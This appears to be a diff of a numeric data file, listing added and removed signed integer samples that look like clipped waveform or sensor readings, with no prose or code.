+125 +13 +-77 +-128 +-128 +-57 +58 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +17 +-78 +-128 +-128 +-57 +58 +127 +126 +14 +-76 +-128 +-128 +-59 +54 +127 +124 +12 +-76 +-128 +-128 +-56 +58 +127 +123 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-55 +56 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +123 16 -76 +-128 +-128 +-58 +58 +127 +126 +13 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +56 +-37 +-103 +-110 +9 +107 +4 +-67 +-99 +17 +108 +4 +-88 +-105 +7 +98 +-6 +-93 +-110 +9 +100 +-5 +-92 +-107 +8 +101 +-4 +-92 +-108 +9 +102 +-4 +-90 +-108 +9 +102 +-3 +-75 +-108 +10 +101 +-1 +-91 +-109 +8 +102 +-5 +-90 +-108 +8 +102 +-3 +-93 +-108 +6 +99 +-3 +-89 +-109 +10 +102 +127 +127 +24 +-69 +-128 +-128 +-65 +48 +127 +121 +11 +-80 +-128 +-128 +-57 +55 +127 +124 +13 +-79 +-128 +-128 +-57 +55 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-58 +55 +127 +124 +14 +-80 +-128 +-128 +-59 +54 +127 +124 +13 +-76 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +57 +127 +125 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +123 +13 +-78 +-128 +-128 +-58 +57 +127 +126 +14 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-55 +57 +127 +125 +15 +-78 +-128 +-128 +-58 +55 +127 +121 +12 +-80 +-128 +-128 +-58 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +59 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +59 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +126 +14 +-76 +-128 +-128 +-59 +53 +127 +125 +12 +-76 +-128 +-128 +-57 +57 +127 +123 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-57 +56 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +123 +16 +-75 +-128 +-128 +-58 +55 +127 +121 +12 +-80 +-128 +-128 +-58 +58 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-55 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +16 +-80 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-57 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +-36 +-101 +-111 +13 +109 +6 +-69 +-99 +17 +108 +3 +-87 +-106 +8 +103 +-3 +-75 +-109 +8 +99 +-3 +-91 +-109 +8 +101 +-5 +-74 +-108 +8 +102 +-3 +-91 +-109 +9 +101 +-3 +-75 +-109 +9 +101 +-4 +-90 +-108 +9 +102 +-3 +-75 +-108 +9 +102 +-4 +-90 +-109 +8 +101 +-5 +-74 +-107 +9 +102 +-3 +-91 +-108 +9 +102 +-4 +-74 +-107 +10 +102 +-2 +-91 +-108 +9 +101 +-2 +-75 +-109 +8 +102 +-4 +-92 +-107 +8 +102 +-3 +-76 +-108 +9 +101 +-4 +-91 +-109 +9 +102 +-5 +-90 +-107 +8 +101 +-4 +-92 +-109 +8 +102 +-5 +-75 +-108 +8 +101 +-4 +-92 +-109 +8 +100 +-1 +-76 +-108 +5 +98 +-5 +-94 +-112 +6 +102 +-3 +-78 +-110 +4 +100 +127 +127 +24 +-67 +-128 +-128 +-68 +46 +127 +119 +8 +-80 +-128 +-128 +-58 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-57 +58 +127 +124 +16 +-79 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +15 +-78 +-128 +-128 +-58 +55 +127 +124 +14 +-80 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +59 +127 +125 +17 +-79 +-128 +-128 +-57 +58 +127 +126 +14 +-76 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-60 +54 +127 +124 +12 +-76 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-77 +-128 +-128 +-57 +57 +127 +122 +14 +-76 +-128 +-128 +-57 +56 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +124 +13 +-80 +-128 +-128 +-60 +53 +127 +124 +12 +-79 +-128 +-128 +-57 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-56 +58 +127 +126 +14 +-76 +-128 +-128 +-55 +58 +-36 +-102 +-111 +13 +108 +6 +-70 +-96 +16 +108 +2 +-87 +-106 +9 +102 +-5 +-74 +-108 +8 +101 +-4 +-92 +-109 +8 +100 +-2 +-77 +-108 +5 +98 +-4 +-94 +-111 +5 +104 +-1 +-77 +-110 +5 +103 +0 +-91 +-111 +4 +100 +-1 +-76 +-111 +5 +102 +0 +-92 +-110 +5 +101 +-1 +-76 +-110 +5 +102 +0 +-91 +-110 +5 +101 +127 +127 +23 +-67 +-128 +-128 +-64 +50 +127 +120 +11 +-80 +-128 +-128 +-56 +56 +127 +126 +14 +-76 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +13 +-76 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-79 +-128 +-128 +-60 +53 +127 +125 +12 +-76 +-128 +-128 +-57 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-76 +-128 +-128 +-55 +57 +127 +124 +14 +-76 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +15 +-78 +-128 +-128 +-59 +54 +127 +125 +13 +-80 +-128 +-128 +-59 +57 +127 +123 +13 +-76 +-128 +-128 +-57 +58 +127 +125 +16 +-77 +-128 +-128 +-56 +58 +127 +126 +14 +-78 +-128 +-128 +-55 +56 +127 +127 +14 +-76 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +124 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-58 +56 +127 +123 +13 +-76 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +13 +-77 +-128 +-128 +-57 +58 +127 +126 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +127 +16 +-76 +-128 +-128 +-55 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +13 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +13 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +59 +127 +125 +17 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +56 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +-38 +-101 +-110 +12 +109 +4 +-85 +-99 +17 +108 +3 +-70 +-106 +9 +103 +-3 +-92 +-109 +5 +97 +-7 +-79 +-112 +4 +103 +-1 +-92 +-110 +5 +100 +-1 +-76 +-112 +5 +102 +0 +-90 +-110 +5 +100 +-1 +-76 +-111 +5 +104 +0 +-91 +-110 +5 +102 +0 +-75 +-110 +5 +102 +-1 +-91 +-111 +4 +101 +-1 +-76 +-111 +4 +102 +127 +127 +24 +-67 +-128 +-128 +-65 +49 +127 +120 +11 +-81 +-128 +-128 +-57 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-55 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +126 +15 +-78 +-128 +-128 +-59 +53 +-39 +-105 +-99 +10 +109 +2 +-72 +-100 +15 +108 +4 +-89 +-104 +7 +99 +-4 +-74 +-109 +4 +98 +-3 +-94 +-111 +4 +103 +-1 +-77 +-110 +5 +102 +-1 +-92 +-110 +5 +104 +0 +-75 +-111 +5 +101 +-1 +-91 +-110 +5 +103 +0 +-74 +-111 +5 +100 +-1 +-92 +-111 +5 +104 +0 +-75 +-110 +5 +102 +127 +127 +24 +-67 +-128 +-128 +-68 +45 +127 +120 +8 +-80 +-128 +-128 +-58 +57 +127 +126 +16 +-78 +-128 +-128 +-59 +54 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +15 +-78 +-128 +-128 +-59 +54 +127 +125 +12 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +57 +127 +124 +16 +-77 +-128 +-128 +-60 +56 +127 +122 +12 +-76 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +58 +127 +125 +15 +-77 +-128 +-128 +-58 +55 +127 +125 +16 +-79 +-128 +-128 +-57 +58 +127 +126 +13 +-75 +-128 +-128 +-56 +57 +127 +123 +14 +-78 +-128 +-128 +-56 +55 +127 +123 +16 +-77 +-128 +-128 +-56 +56 +127 +124 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +15 +-78 +-128 +-128 +-57 +59 +127 +124 +14 +-78 +-128 +-128 +-58 +57 +127 +124 +16 +-76 +-128 +-128 +-56 +55 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +121 +12 +-80 +-128 +-128 +-59 +56 +127 +123 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-57 +58 +127 +123 +16 +-76 +-128 +-128 +-57 +58 +127 +123 +15 +-77 +-128 +-128 +-56 +55 +127 +126 +15 +-78 +-128 +-128 +-59 +55 +127 +121 +12 +-80 +-128 +-128 +-57 +56 +127 +125 +14 +-76 +-128 +-128 +-55 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +57 +127 +123 +16 +-76 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +14 +-77 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +14 +-79 +-128 +-128 +-58 +56 +-35 +-99 +-111 +11 +110 +3 +-68 -98 17 108 -6 --68 --102 -14 -113 -9 --83 --102 -14 -111 -9 --65 --101 -14 -111 -9 --81 --100 -15 -112 -9 --65 --100 -15 -111 +1 +-86 +-105 10 --81 --100 -14 -111 -9 --66 --101 -15 -112 -9 --82 --100 -15 -109 +102 +-3 +-75 +-109 8 --67 --101 -15 -112 -10 --81 --100 -15 -111 -9 --66 --101 -15 -112 -9 --82 --100 -15 -111 -9 --65 --100 -15 -113 -10 --81 --101 -14 -110 +101 +-5 +-90 +-108 8 --66 --101 -15 -113 -10 --82 --100 -14 -112 -10 --65 --101 -15 -111 -10 --82 --100 -15 -112 +101 +-4 +-76 +-108 9 --66 --100 -15 -112 +101 +-4 +-90 +-108 +8 +101 +-4 +-76 +-108 +9 +102 +-5 +-90 +-107 +9 +102 +-3 +-75 +-107 10 --82 --100 -15 -112 -10 --65 --101 -15 -112 -10 --81 --100 -15 -113 -10 --65 --100 -15 -110 -137 -137 -33 --57 --118 --118 --54 -60 -137 -130 -21 --70 --118 --118 --46 -66 -137 -135 -24 --66 --118 --118 --45 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -67 -137 -133 -25 --67 --118 --118 --45 -66 -137 -134 -24 --69 --118 --118 --48 -66 -137 -132 -24 --65 --118 --118 --48 -68 -137 -136 -24 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --45 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -25 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --45 -67 -137 -134 -25 --68 --118 --118 --48 -67 -137 -135 -25 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -64 -137 -130 -21 --70 --118 --118 --50 -64 -137 -134 -23 --66 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -134 -25 --69 --118 --118 --47 -67 -137 -133 -24 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -68 -137 -135 -25 --68 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --45 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --47 -68 -137 -133 -25 --65 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -23 --66 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --45 -67 -137 -136 -26 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --48 -64 -137 -136 -22 --68 --118 --118 --47 -64 -137 -132 -23 --66 --118 --118 --46 -64 -137 -131 -22 --70 --118 --118 --47 -67 -137 -136 -27 --68 --118 --118 --46 -68 --28 +102 +-3 +-90 +-108 +9 +102 +-4 +-75 +-107 +8 +101 +-3 -91 --100 -22 -120 -14 --60 --87 -25 -115 -10 +-108 +9 +102 +-4 +-74 +-107 +9 +102 +-3 +-92 +-109 +9 +102 +-3 +-74 +-108 +9 +102 +-4 +-90 +-107 +9 +102 +-3 +-76 +-108 +9 +102 +-4 +-90 +-108 +9 +102 +-3 +-75 +-109 +9 +100 +-1 +-92 +-107 +5 +98 +-5 -78 --97 -18 -110 -6 --63 --100 -14 -107 -6 --84 --101 -16 -113 -8 --68 --101 -14 -112 -10 --81 --100 -15 -111 -9 --66 --101 -15 -114 -10 --81 --100 -15 -110 -8 --66 --101 -14 -112 -9 --81 --101 -14 -110 -8 --66 --101 -15 -112 -10 --81 --100 -15 -113 -10 --65 --100 -15 -110 -9 --82 --101 -14 -114 -10 --65 --100 -16 -108 +-111 +5 +103 +-1 +-92 +-110 4 --84 --101 -15 -114 -9 --67 --100 -15 -113 -10 --81 --100 -15 -112 -10 --66 --101 -15 -112 -10 --81 --100 -15 -112 -10 --65 --100 -15 -113 -10 --81 --101 -14 -112 -10 --65 --100 -15 -112 -10 --81 --100 -15 -113 -10 --65 --100 -15 -111 -10 --81 --101 -14 -112 -9 --65 --100 -15 -112 -10 --82 --100 -14 -112 -10 --65 --100 -15 -109 -8 --83 --101 -15 -114 -10 --66 --100 -15 -112 -10 --80 --100 -15 -112 -9 --66 --101 -15 -113 -10 --80 --100 -15 -112 -10 --66 --100 -15 -114 -10 --81 --100 -14 -110 -8 --66 --101 -14 -113 -137 -137 -34 --57 --118 --118 --55 -59 -137 -130 -21 --71 --118 --118 --47 -67 -137 -135 -25 --68 --118 --118 --47 -67 -137 -133 -26 --66 --118 --118 --50 -67 -137 -132 -23 --66 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --48 -66 -137 -132 -22 --68 --118 --118 --50 -68 -137 -132 -23 --66 --118 --118 --47 -67 -137 -135 -26 --67 --118 --118 --46 -66 -137 -134 +101 +-1 +-76 +-110 +5 +100 +-1 +-92 +-111 +5 +102 +0 +-76 +-110 +5 +100 +127 +127 23 -67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --49 -63 -137 -135 -23 --67 --118 --118 --47 -68 -137 -136 -25 --68 --118 --118 --47 -68 -137 -132 -25 --65 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 +-128 +-128 -66 --118 --118 --45 -67 -137 -135 -24 --68 --118 --118 --48 -64 -137 -134 -25 --70 --118 --118 --49 -63 -137 -134 -22 --69 --118 --118 --47 -66 -137 -134 -27 --69 --118 --118 --45 -65 -137 -136 -26 --67 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --45 -67 -137 -135 -25 --67 --118 --118 --48 -66 -137 -132 -24 --70 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -67 -137 -133 -26 --67 --118 --118 --47 -66 -137 -134 -24 --69 --118 --118 --48 -66 -137 -131 -22 --70 --118 --118 --49 -65 -137 -132 -23 --70 --118 --118 --46 -68 -137 -134 -25 --66 --118 --118 --45 -67 --28 --91 --100 -21 -119 -14 --59 --87 -27 +48 +127 118 +11 +-80 +-128 +-128 +-57 +57 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +122 +13 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-79 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-57 +56 +127 +123 +16 +-76 +-128 +-128 +-55 +56 +127 +123 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-78 +-128 +-128 +-55 +55 +127 +122 +14 +-75 +-128 +-128 +-58 +58 +127 +123 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +59 +127 +124 +14 +-78 +-128 +-128 +-56 +55 +127 +126 13 -76 --96 -20 -111 -9 --66 --98 +-128 +-128 +-58 +54 +127 +122 +13 +-80 +-128 +-128 +-60 +56 +127 +123 +13 +-76 +-128 +-128 +-57 +57 +127 +125 +15 +-77 +-128 +-128 +-55 +56 +127 +125 14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +53 +127 +124 +12 +-78 +-128 +-128 +-57 +55 +127 +125 +16 +-79 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-58 +57 +127 +124 +13 +-76 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +16 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-57 +57 +127 +125 +14 +-79 +-128 +-128 +-58 +56 +127 +123 +15 +-76 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +59 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +124 +12 +-79 +-128 +-128 +-55 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +-36 +-103 +-110 +9 +106 +1 +-72 +-100 +14 +105 +3 +-87 +-109 +6 +100 +-2 +-76 +-112 +4 +100 +-1 +-92 +-111 +5 +100 +-2 +-76 +-112 +4 +100 +-1 +-92 +-111 +4 +99 +-2 +-77 +-111 +4 +102 +-1 +-92 +-111 +4 +98 +-4 +-78 +-111 +4 +102 +-1 +-92 +-111 +4 +100 +-2 +-77 +-111 +5 +102 +0 +-91 +-111 +4 +100 +-2 +-76 +-111 +5 +102 +-1 +-91 +-110 +5 +100 +-1 +-76 +-110 +5 +102 +0 +-91 +-110 +5 +100 +-1 +-76 +-110 +5 +102 +0 +-91 +-110 +5 +98 +-4 +-78 +-111 +5 +103 +0 +-91 +-110 +5 +99 +-2 +-77 +-111 +5 +102 +0 +-91 +-110 +6 +98 +-3 +-77 +-111 +5 +102 +0 +-91 +-110 +5 +99 +-3 +-77 +-111 +5 +103 +0 +-91 +-110 +5 +99 +-4 +-78 +-111 +5 +102 +0 +-90 +-110 +6 +100 +-2 +-77 +-110 +5 +103 +0 +-91 +-110 +4 +100 +-1 +-76 +-110 +5 +102 +0 +-91 +-110 +6 +100 +-2 +-76 +-110 +5 +102 +-1 +-91 +-111 +5 +100 +-2 +-77 +-110 +5 +103 +0 +-90 +-110 +6 +99 +-4 +-77 +-111 +5 +103 +127 +127 +25 +-67 +-128 +-128 +-67 +46 +127 +120 +8 +-82 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +123 +14 +-78 +-128 +-128 +-58 +54 +127 +122 +13 +-80 +-128 +-128 +-59 +54 +127 +123 +13 +-80 +-128 +-128 +-59 +55 +127 +121 +12 +-80 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +56 +127 +124 +14 +-79 +-128 +-128 +-58 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +55 +127 +122 +13 +-80 +-128 +-128 +-57 +57 +127 +124 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-57 +58 +127 +123 +16 +-77 +-128 +-128 +-60 +55 +127 +123 +13 +-76 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +55 +127 +121 +13 +-80 +-128 +-128 +-57 +57 +127 +124 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-58 +53 +127 +125 +12 +-79 +-128 +-128 +-55 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +-36 +-102 +-111 +13 +109 +6 +-69 +-100 +18 106 4 --85 --102 -15 -113 +-88 +-105 +9 +102 +-4 +-76 +-110 8 +101 +-5 +-91 +-108 +8 +101 +-4 +-76 +-108 +9 +102 +-4 +-90 +-108 +9 +102 +-3 +-76 +-108 +8 +103 +-3 +-92 +-106 +6 +99 +-5 +-75 +-106 +5 +98 +-6 +-93 +-108 +10 +102 +-4 +-77 +-107 +6 +98 +-6 +-92 +-107 +7 +102 +127 +127 +24 -68 --101 +-128 +-128 +-67 +46 +127 +119 +8 +-67 +-128 +-128 +-60 +53 +127 +125 +12 +-76 +-128 +-128 +-57 +58 +127 +124 14 -112 -10 --81 --101 +-77 +-128 +-128 +-56 +56 +127 +126 +13 +-78 +-128 +-128 +-57 +56 +127 +125 14 -111 -9 --66 --101 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +59 +127 +125 15 -113 -10 --81 --100 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 15 -111 -9 --66 --101 -15 -114 -10 +-77 +-128 +-128 +-56 +55 +127 +122 +12 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-78 +-128 +-128 +-58 +58 +127 +126 +13 +-76 +-128 +-128 +-59 +54 +127 +126 +12 +-78 +-128 +-128 +-56 +58 +127 +126 +14 +-78 +-128 +-128 +-56 +58 +127 +126 +14 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-79 +-128 +-128 +-58 +56 +127 +123 +13 +-79 +-128 +-128 +-56 +58 +127 +126 +16 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +55 +127 +123 +14 -80 +-128 +-128 +-58 +57 +127 +124 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +127 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-78 +-128 +-128 +-57 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +123 +15 +-75 +-128 +-128 +-56 +58 +127 +124 +13 +-78 +-128 +-128 +-58 +58 +127 +126 +16 +-77 +-128 +-128 +-55 +57 +127 +125 +14 +-78 